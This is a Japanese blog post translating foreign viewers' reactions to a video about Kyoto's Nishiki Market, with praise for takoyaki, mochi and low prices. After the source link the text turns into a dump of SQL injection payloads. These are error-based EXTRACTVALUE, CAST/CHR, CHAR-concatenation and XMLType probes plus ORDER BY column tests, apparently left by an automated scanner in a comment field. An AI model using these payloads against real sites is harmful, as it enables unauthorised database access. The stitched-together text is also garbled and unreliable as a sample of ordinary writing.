外国人「京都の台所と呼ばれる京都の錦市場を紹介する」(海外の反応)
京都の錦市場について海外で話題になっていましたので、翻訳してご紹介します。
加工食品を商う専門店が集う市場になります。
(以下、海外の反応をまとめました)
●なぜアメリカにはこういう出店がないんだ
●オーストラリアにもこんな店があれば・・・
●アメリカの出店はあまり綺麗な印象がないし、日本ならではってことだろうな
●やっぱり京都は素晴らしいな
●日本へ行くなら今日とは一度行ってみたいよな
●小さいドーナツがとても可愛い形だ
●たこ焼きは一度食べてみたくなる
タコは大好きな生き物
●俺はアジア人だ
チューハイはもちろん大好きさ!
●京都の旅動画を見ると、日本へ行きたい気持ちが強くなるんだよな
●エッグヘッドのタコがめちゃめちゃ旨そう
●本当に日本に行きたくてしかたない
海老やカニも食べたいし、特にエビが好きでね
お腹がすいちゃうな
●タコヤキが250円ですごく安いんだね
●どの店も美味しそうだし行ける人が羨ましい
●京都の出店美味しそう
一回食べてみたいわ
●錦市場は京都の台所とも呼ばれている場所だよね
●錦市場で食べ歩き
日本に行ったらしたいことのひとつ
●餅やタコヤキ旨そうだなあ
●錦市場のタコヤキ屋
これは絶対旨いんだろうね
source:https://goo.gl/WZldZl
TLTa
TLTa,…)(.”‘(
TLTa’) AND EXTRACTVALUE(3763,CONCAT(0x5c,0x717a7a6a71,(SELECT (ELT(3763=3763,1))),0x71766a6b71)) AND (‘oOUI’=’oOUI
TLTa) AND EXTRACTVALUE(3763,CONCAT(0x5c,0x717a7a6a71,(SELECT (ELT(3763=3763,1))),0x71766a6b71)) AND (7090=7090
TLTa AND EXTRACTVALUE(3763,CONCAT(0x5c,0x717a7a6a71,(SELECT (ELT(3763=3763,1))),0x71766a6b71))
TLTa AND EXTRACTVALUE(3763,CONCAT(0x5c,0x717a7a6a71,(SELECT (ELT(3763=3763,1))),0x71766a6b71))– NAqF
TLTa’) AND 8236=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (8236=8236) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND (‘OqOa’=’OqOa
TLTa’ AND 8236=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (8236=8236) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND ‘uSQb’=’uSQb
TLTa AND 8236=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (8236=8236) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)
TLTa AND 8236=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (8236=8236) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)– nQPK
TLTa’ AND 4273 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (4273=4273) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113))) AND ‘flfO’=’flfO
TLTa AND 4273 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (4273=4273) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)))
TLTa AND 4273 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (4273=4273) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)))– IPmo
TLTa’ AND 4651=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (4651=4651) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND ‘UDrt’=’UDrt
TLTa AND 4651=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (4651=4651) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)
TLTa’) ORDER BY 1– aNah
TLTa) ORDER BY 1– PMdG
TLTa ORDER BY 1– DXaz